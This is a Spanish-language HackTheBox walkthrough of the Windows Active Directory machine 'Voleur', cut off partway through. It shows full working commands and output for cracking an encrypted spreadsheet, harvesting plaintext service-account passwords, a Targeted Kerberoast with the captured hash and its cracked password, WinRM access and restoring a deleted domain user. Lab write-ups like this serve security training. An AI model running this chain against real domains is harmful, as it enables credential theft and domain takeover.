Voleur – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar voleur


Sinopsis Link to heading

“Voleur” es una máquina de dificultad Media de la plataforma HackTheBox encofada en Active Directory (AD). En este máquina, en la cual se asume un escenario donde ya hay una brecha, aprenderemos cómo encontrar contraseñas en archivos filtrados, performar un ataque Targeted Kerberoast, restaurar usuarios borrados/removidos de un dominio, extraer credenciales de DPAPI y extraer archivos de respaldo del sistema para luego dumpear todos los hashes del Domain Controller.


Información
Empezamos esta máquina con las siguientes credenciales dadas: ryan.naylor / HollowOct31Nyt

User Link to heading

Empezamos con un rápido escaneo con Nmap:

❯ sudo nmap 10.129.8.123 -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.8.123

Obtenemos múltiples puertos abiertos. Entre ellos tenemos 53 DNS, 135 Microsoft RPC, 445 SMB, 464 Kerberos, 636 LDAPS, 5985 WinRM; entre otros. También hay un puerto 2222 bastante curioso reconocido como servicio SSH por el escaneo.

Aplicando algunos scripts de reconocimiento sobre estos puertos con la flag -sVC obtenemos:

❯ sudo nmap -sVC -p53,135,139,445,464,636,2222,3268,5985,9389,49664,49670,49671,59724,59741,65435 10.129.8.123

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 19:05 -04
Nmap scan report for 10.129.8.123
Host is up (0.48s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
59724/tcp open  msrpc         Microsoft Windows RPC
59741/tcp open  msrpc         Microsoft Windows RPC
65435/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2025-07-06T07:06:59
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.84 seconds

Basados en los puertos abiertos podemos decir que estamos ante un entorno Active Directory (AD).

Una buena manera de obtener información acerca del dominio es utilizar las credenciales dadas ante el servicio SMB con la herramienta NetExec:

❯ nxc smb 10.129.8.123 -u 'ryan.naylor' -p 'HollowOct31Nyt'

SMB         10.129.8.123    445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.8.123    445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

Obtenemos STATUS_NOT_SUPPORTED. Aunque obtenemos un nombre de máquina DC y dominio voleur.htb. Dado en nombre de la máquina, éste es probablemente el Domain Controller del dominio.

Agregamos el nombre de la máquina, dominio y FQDN (<nombre máquina>.<dominio>) a nuestro archivo /etc/hosts junto con la dirección IP de la máquina víctima:

❯ echo '10.129.8.123 DC DC.voleur.htb voleur.htb' | sudo tee -a /etc/hosts

Similar a otras máquinas como Vintage esto puede significar que la autenticación mediante NTLM está deshabilitada y sólo nos podemos autenticar en el dominio a través de Kerberos. Para autenticarnos podemos solicitar un Ticket Granting Ticket (TGT) para el usuario ryan.taylor. Para este propósito podemos usar la herramienta getTGT.py de la suite de Impacket:

❯ impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt -dc-ip 10.129.8.123

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Obtenemos un error Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great).

Este error se debe principalmente a la diferencia horaria entre nuestra máquina de atacantes y la máquina víctima. Por ende, podemos usar las herramientas faketime y ntpdate (ambas fácilmente se pueden instalar con sudo apt install faketime ntpdate -y) junto con nuestro comando previo para prevenir este problema:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt -dc-ip 10.129.8.123

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in ryan.naylor.ccache
Nota
Usaremos constantemente faketime y ntpdate a lo largo de este WriteUp para evadir problemas horarios con Kerberos.

Podemos revisar si el ticket es válido con NetExec:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb voleur.htb -u ryan.naylor -k --use-kcache

SMB         voleur.htb      445    voleur           [*]  x64 (name:voleur) (domain:htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         voleur.htb      445    voleur           [-] VOLEUR.HTB\ryan.naylor from ccache STATUS_MORE_PROCESSING_REQUIRED

Obtenemos un nuevo error STATUS_MORE_PROCESSING_REQUIRED. Esto sucede porque requerimos de especificar el dominio con la flag -d y utilizar el FQDN (DC.voleur.htb) en lugar de sólo el dominio (voleur.htb).

Realizando estos pequeños cambios soluciona el problema. Podemos ver que el ticket es válido ahora:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache

Revisamos los recursos compartidos por SMB para este usuario:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb --shares

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance
SMB         DC.voleur.htb   445    DC               HR
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share

Tenemos acceso a una carpeta (que no existe por defecto) llamada IT.

Revisamos su contenido utilizando NetExec:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb --spider 'IT' --pattern .

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache
SMB         DC.voleur.htb   445    DC               [*] Spidering .
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/Access_Review.xlsx [lastm:'2025-05-29 18:23' size:16896]

Podemos ver una carpeta First-Line Support y dentro de ésta un archivo Access_Review.xslx.

Descargamos este archivo con neustro buen amigo NetExec:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb --share 'IT' --get-file 'First-Line Support/Access_Review.xlsx' Access_Review.xlsx
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor from ccache
SMB         DC.voleur.htb   445    DC               [*] Copying "First-Line Support/Access_Review.xlsx" to "Access_Review.xlsx"
SMB         DC.voleur.htb   445    DC               [+] File "First-Line Support/Access_Review.xlsx" was downloaded to "Access_Review.xlsx"

El archivo descargado es un archivo encriptado:

❯ file Access_Review.xlsx

Access_Review.xlsx: CDFV2 Encrypted

Esto puede significar que el archivo está protegido con contraseña.

Podemos corroborar esto yendo a una páguna que lee archivos .xlsx como puede ser esta e intentamos abrir el archivo .xlsx allí. Al hacerlo se nos pregunta por uan contraseña:

Voleur 1

Podemos usar office2john (dado que .xlsx es un archivo de Excel) para pasar el hash que protege al archivo a un formato para intentar crackearlo:

❯ office2john Access_Review.xlsx > xlsx_file_hash

E intentamos un Brute Force Password Cracking con la herramienta JohnTheRipper (john) junto con el diccionario de contraseñas rockyou.txt para obtener la contraseña protegiendo el archivo:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt xlsx_file_hash

Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (Access_Review.xlsx)
1g 0:00:00:03 DONE (2025-07-05 19:59) 0.3039g/s 243.1p/s 243.1c/s 243.1C/s rocker..martha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tenemos una contraseña: football1.

Ahora bien, si volvemos a la página para visualizar archivos xlsx y pasamos la contraseña obtenida para ver el archivo podemos ver cosas interesantes:

Voleur 2

También desarrollé un simple script en Python para obtener el contenido del archivo .xlsx. Para este paso opcional, creamos un entorno virtual, lo activamos e instalamos las librerías necesarias en él:

❯ python3 -m venv .venv_xlsx

❯ source .venv_xlsx/bin/activate

❯ pip3 install msoffcrypto-tool openpyxl

<SNIP>

Tenemos así el script:

import msoffcrypto
import openpyxl
import io

# File to read and its password
encrypted_file_path = "../content/Access_Review.xlsx"
password = "football1"

# Decrypt the file in memory
with open(encrypted_file_path, "rb") as f:
    office_file = msoffcrypto.OfficeFile(f)
    office_file.load_key(password=password)
    
    decrypted = io.BytesIO()
    office_file.decrypt(decrypted)

# Load the xlsx file
workbook = openpyxl.load_workbook(decrypted)
sheet = workbook.active

# Show its content
for row in sheet.iter_rows(values_only=True):
    print(row)

El cual al ejecutarlo da:

❯ python3 read_xlsx.py

('User', 'Job Title', 'Permissions', 'Notes')
('Ryan.Naylor', 'First-Line Support Technician', 'SMB', 'Has Kerberos Pre-Auth disabled temporarily to test legacy systems.')
('Marie.Bryant', 'First-Line Support Technician', 'SMB', None)
('Lacey.Miller', 'Second-Line Support Technician', 'Remote Management Users', None)
('Todd.Wolfe', 'Second-Line Support Technician', 'Remote Management Users', 'Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.')
('Jeremy.Combs', 'Third-Line Support Technician', 'Remote Management Users.', 'Has access to Software folder.')
('Administrator', 'Administrator', 'Domain Admin', 'Not to be used for daily tasks!')
(None, None, None, None)
(None, None, None, None)
('Service Accounts', None, None, None)
('svc_backup', ' ', 'Windows Backup', 'Speak to Jeremy!')
('svc_ldap', None, 'LDAP Services', 'P/W - M1XyC9pW7qT5Vn')
('svc_iis', None, 'IIS Administration', 'P/W - N5pXyW1VqM7CZ8')
('svc_winrm', None, 'Remote Management ', 'Need to ask Lacey as she reset this recently.')

Tenemos potenciales credenciales:

svc_ldap:M1XyC9pW7qT5Vn
svc_iis:N5pXyW1VqM7CZ8

También podemos crear una lista de potenciales usuarios dados por el archivo .xlsx:

❯ cat users_xlsx.txt

Ryan.Naylor
Marie.Bryant
Lacey.Miller
Todd.Wolfe
Jeremy.Combs
svc_backup
svc_ldap
svc_iis
svc_winrm

Y revisar si existen en el dominio voleur.htb utilizando la herramienta Kerbrute:

❯ kerbrute userenum --dc 10.129.69.142 -d voleur.htb users_xlsx.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 07/05/25 - Ronnie Flathers @ropnop

2025/07/05 20:12:30 >  Using KDC(s):
2025/07/05 20:12:30 >   10.129.69.142:88

2025/07/05 20:12:30 >  [+] VALID USERNAME:       Lacey.Miller@voleur.htb
2025/07/05 20:12:30 >  [+] VALID USERNAME:       svc_iis@voleur.htb
2025/07/05 20:12:30 >  [+] VALID USERNAME:       svc_ldap@voleur.htb
2025/07/05 20:12:30 >  [+] VALID USERNAME:       svc_backup@voleur.htb
2025/07/05 20:12:30 >  [+] VALID USERNAME:       Jeremy.Combs@voleur.htb
2025/07/05 20:12:30 >  [+] VALID USERNAME:       Marie.Bryant@voleur.htb
2025/07/05 20:12:31 >  [+] VALID USERNAME:       svc_winrm@voleur.htb
2025/07/05 20:12:31 >  [+] VALID USERNAME:       Ryan.Naylor@voleur.htb
2025/07/05 20:12:31 >  Done! Tested 9 usernames (8 valid) in 0.528 seconds

Encontramos todos los usuarios de la lista, exceptuando a aquel llamado Todd.Wolfe. El documento decía que estaba etiquetado como “leaver” (desertor), por lo que probablemente este usuario ya no esté en la compañía/ya no trabaje en ella.

Dado que los usuarios svc_ldap y svc_iis existen en el dominio, solicitamos un TGT para estos usuarios utilizando impacket-getTGT y las respectivas contraseñas halladas para éstos:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/svc_iis:N5pXyW1VqM7CZ8 -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_iis.ccache

Y:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/svc_ldap:M1XyC9pW7qT5Vn -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_ldap.ccache

Ambos tickets funcionan para estos usuarios en el dominio:

❯ KRB5CCNAME=svc_ldap.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_ldap from ccache

❯ KRB5CCNAME=svc_iis.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache -d voleur.htb

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_iis from ccache

En este punto ya podemos utilizar Bloodhound para ver permisos en el dominio. Podemos utilizar la herramienta bloodhound-ce-python (la cual se puede instalar con pipx install bloodhound-ce) para recolectar data, diseñada específicamente para la versión Community Edition de Bloodhound (la cual es la versión que yo uso):

❯ KRB5CCNAME=svc_ldap.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -k -no-pass -c ALL -u svc_ldap -d voleur.htb -ns 10.129.69.142 --zip

INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: voleur.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
INFO: Done in 01M 01S
INFO: Compressing output into 20250706042601_bloodhound.zip

Esto crea una archivo .zip el cual puede ser subido a Bloodhound.

Subido este archivo, buscamos por svc_ldap en Bloodhound y luego clickeamos en la pestaña Outbound Object Control obteniendo así:

Voleur 3

Como el usuario svc_ldap tenemos el permiso WriteSPN sobre la cuenta svc_winrm. También somos parte del grupo Restore_Users, el cual nos da privilegios GenericWrite sobre el usuario Lacey.Miller y permisos GenericWrite sobre una Group Policy Object (GPO) llamada Second-Line Support Technicians.

El nombre del grupo Restore_Users claramente nos dice algo acerca de poder restaurar usuarios. De similar manera a como hicimos en la máquina TombWatcher, podríamos buscar por usuarios borrados del dominio. Basados en la descripción del usuario Todd.Wolfe, ello nos dice que probablemente ese sea el usuario que tengamos que restaurar.

Dado que tenemos credenciales en el dominio y tenemos el permiso WriteSPN sobre la cuenta svc_winrm, intentemos performar un ataque Targeted Kerberoast con la herramienta targetedKerberoast.py (la cual puede ser descargada desde su repositorio de Github). Clonamos e instalamos esta herramienta en un entorno virtual:

❯ python3 -m venv .venv_targetedKerberoast

❯ source .venv_targetedKerberoast/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

Luego, usamos targetedKerberoast.py para solicitar un ticket como el usuario svc_winrm:

❯ KRB5CCNAME=svc_ldap.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -vv -k --dc-host dc.voleur.htb --request-user svc_winrm -o svc_winrm_targeted_kerb_hash

[*] Starting kerberoast attacks
[DEBUG] Using Kerberos Cache: svc_ldap.ccache
[DEBUG] Using TGT from cache
[*] Attacking user (svc_winrm)
[DEBUG] {'svc_winrm': {'dn': ['CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb'], 'spns': []}}
[DEBUG] Using Kerberos Cache: svc_ldap.ccache
[DEBUG] Using TGT from cache
[DEBUG] User (svc_winrm) has no SPN, attempting a targeted Kerberoasting now
[VERBOSE] SPN added successfully for (svc_winrm)
[+] Writing hash to file for (svc_winrm)
[VERBOSE] SPN removed successfully for (svc_winrm)

❯ cat svc_winrm_targeted_kerb_hash

$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$c8ce08bb293f4e4601aa42c31600e2e5$b2a279c1d5ad525936eb7623f064abd711894798939d824120592c9bbb7e699ded2f6fec00cc000b2533f480877947e8ce479629e6cf1a04b7ce760760aab60c27a924ca6413cb70f28a175a295ec3f7969e36c90e75acfe1722735063a9194d7d6bb4ca6b49b5b0653f25ee189debfff8a6b7aa8991f463ac4d068d352d8746b860671337e66b9ee83893cd5036b28880fc21071bf832ce580ba6b5447f9e71823b520f1b22d6d5d2469053d2ae3b97732055775ab08c0d4eec8e003a43ed7e346c01bf456c11ccfabc331cab80cf378b6d8f5b99b8ee77ef26c977120d5df6752fac7d369d760f58de1e61acf9378d8c569603a57f38ff9d0efb7817f2a05ad9853f8dfd202b075d8041817387f5922b3d3b98bf76348c6f83b4603f3579678a9ea741801dbedf0c06d615c2dfda5dd5f49f09bdbf021b67eb3c1c810e877c7747a6b9cad9d7618281dcb5ddb9636288b94aa38d58c4b32730ab679176b3eaa987a6bdb16f377d3aeb284ba625838d550e3a7b17a4bd3a0e2d179c6ea0376db92fc09d6b1f58f287cf8d95256fdf2e9d85c4f37c1fc8d808f02a9bd82ddff2729b1c6b69c9760ed7d9b0e4a468c808afe6df748164a1e4d6eeaa07b2a75f9cfe823704f600d3f8b09aa4744f5d08969255fc868fe7f40a03ddef718ce61cd49b413ad734770382994959f6f158a15b91d92156b6a7b42d28d4efaf0b4d942cfe89e1313110d672bf65424c54471474be12816f98b78b0ef5b57db6c084e08939a3ae47abc84003ed0b9b4b2177df2ac6dba53d537dd68de381b078f8e574855ac17f7e1f077cd0e893c818b1a20c65c46ccb936ded3e54dc4ce5094dabc917f7c9c60bfb0a8872b1c24f23822f1a69b9e3dadb76566f51bf557e8312f14854382d43210f16710081b3f1f0b861b82b7de04042390403078a635b934ab0fa88e53813071f26285f152bf2a4f3071433fe4d6e7d625c854bd7324bbbed2aa318436bcd6da12014edef66f0dffe810a5ed7b19348656b3d5031ca5f0e5204a830c3eaadfe8faf567622638abbd5a9a6457618dd9af1cea8f8617e8870a3473d8be6c2bb0930db0671bdc2645e55ce03cb68c3908dcf1dd5fb2cbcf8e007ade345ca72943bef67a68c49e36242ee24a49da5416fee5f56a866f622ec3e06f63f126958d8ed0d4f15a1a582a6d32a538121a7a8b56e5263e2637e60e45393e97a6a620457b3433c8daa4a3ad2f91b1493601d21633576663738537300695ddc02c7595b329f3d431eefda8c4e6d27be9b9126dd0facf9f554ab0a9e8c4b667f3d130374e175c4dbaf15b66bfd49f760a856a8455f9145d71364688397eec9d282769d5b5eaea305150c31a167af7b6a66b180ddad0b301ddc4b91ec4780af8ee40a4e827e4151115248ce08d96e90e0b34b9642ef071726075a438b4f8a92eb3961ce92ce23db3f689524ff8292f7e95fb9f5e367

E intentamos crackear el hash de esta cuenta con john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt svc_winrm_targeted_kerb_hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)
1g 0:00:00:09 DONE (2025-07-05 21:10) 0.1019g/s 1169Kp/s 1169Kc/s 1169KC/s AGGIES91..ADUB32
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos uan contraseña: AFireInsidedeOzarctica980219afi.

Solicitamos ahora un nuevo TGT en nombre del usuario svc_winrm:

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_winrm.ccache

Dado que la autenticación NTLM está deshabilitada, no podemos utilizar directamente evil-winrm y la contraseña svc_winrm para utilizar esta herramienta. En su lugar, necesitamos un archivo de configuración para evil-winrm que nos permita lidiar con Kerberos. Podemos crear fácilmente aquel archivo usando NetExec:

❯ KRB5CCNAME=ryan.naylor.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache --generate-krb5-file /tmp/krb5conf

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] VOLEUR.HTB\ryan.naylor from ccache

❯ cat /tmp/krb5conf

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = VOLEUR.HTB

[realms]
    VOLEUR.HTB = {
        kdc = dc.VOLEUR.HTB
        admin_server = dc.VOLEUR.HTB
        default_domain = VOLEUR.HTB
    }

[domain_realm]
    .VOLEUR.HTB = VOLEUR.HTB
    VOLEUR.HTB = VOLEUR.HTB

Y movemos este archivo a /etc/etc/krb5.conf (requiere privilegios):

❯ sudo cp /tmp/krb5conf /etc/krb5.conf

Podemos finalmente utilizar este ticket junto con evil-winrm para acceder a la máquina víctima:

❯ KRB5CCNAME=svc_winrm.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC.voleur.htb -r VOLEUR.HTB

Podemos extraer la flag de user desde el Desktop del usuario svc_winrm.


NT Authority/System - Administrador Link to heading

Como ya mencionamos, similar a la máquina TombWatcher, podemos buscar en este foro cómo revisar por usuarios removidos/borrados del dominio:

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID | Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List

No podemos ver nada. Probablemente porque no tenemos permisos ya que somos la cuenta svc_winrm y no svc_ldap (la cual estaba en el grupo Restore_Users).

No obstante, si utilizamos las credenciales de svc_ldap y ejecutamos exactamente el mismo comando, sí podemos ver un usuario borrado:

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> $SecPassword = ConvertTo-SecureString 'M1XyC9pW7qT5Vn' -AsPlainText -Force

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> $Cred = New-Object System.Management.Automation.PSCredential('VOLEUR\svc_ldap', $SecPassword)

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> Get-ADObject -Credential $Cred  -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID | Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List


Name            : Todd Wolfe
                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectGUID      : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid       : S-1-5-21-3927696377-1337352550-2781715495-1110
lastKnownParent : OU=Second-Line Support Technicians,DC=voleur,DC=htb

Obtenemos el usuario Todd Wolfe, el mismo que habíamos visto previamente.

Podemos así tratar de restaurar este usuario en nombre del usuario svc_ldap (usando sus credenciales) usando el GUID del usuario Todd Wolfe:

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> Restore-ADObject -Credential $Cred -Identity '1c6b1deb-c372-4cbb-87b1-15031de169db'

Y solicitamos un TGT para el usuario restaurado Todd.Wolfe (cuya contraseña estaba en el archivo .xlsx):

❯ faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-getTGT voleur.htb/todd.wolfe:NightT1meP1dg3on14 -dc-ip 10.129.69.142

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in todd.wolfe.ccache

Dado que el usuario Todd Wolfe no presenta privilegios como podemos chequear en Bloodhound, usamos el nuevo ticket (archivo .ccache) para ver si tenemos nuevos recursos compartidos:

❯ KRB5CCNAME=todd.wolfe.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache --shares

SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] VOLEUR.HTB\todd.wolfe from ccache
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance
SMB         DC.voleur.htb   445    DC               HR
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share

Esta vez hay algo nuevo: si revisamos recursos en la carpeta IT (la misma que revisamos al inicio de la máquina), esta vez obtenemos muchos más recursos:

❯ KRB5CCNAME=todd.wolfe.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" nxc smb DC.voleur.htb -k --use-kcache --spider IT --pattern .
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] VOLEUR.HTB\todd.wolfe from ccache
SMB         DC.voleur.htb   445    DC               [*] Spidering .
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/Second-Line Support/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/Second-Line Support/.. [dir]
<SNIP>

Sin embargo, esto podría tomar mucho tiempo para enumerar. En su lugar podemos utilizar impacket-smbclient (que es un smbclient “enchulado” de Impacket):

❯ KRB5CCNAME=todd.wolfe.ccache faketime "$(ntpdate -q voleur.htb | cut -d ' ' -f 1,2)" impacket-smbclient -k -no-pass DC.voleur.htb

# shares

ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL

# ls *

drw-rw-rw-          0  Wed Jan 29 06:10:01 2025 .
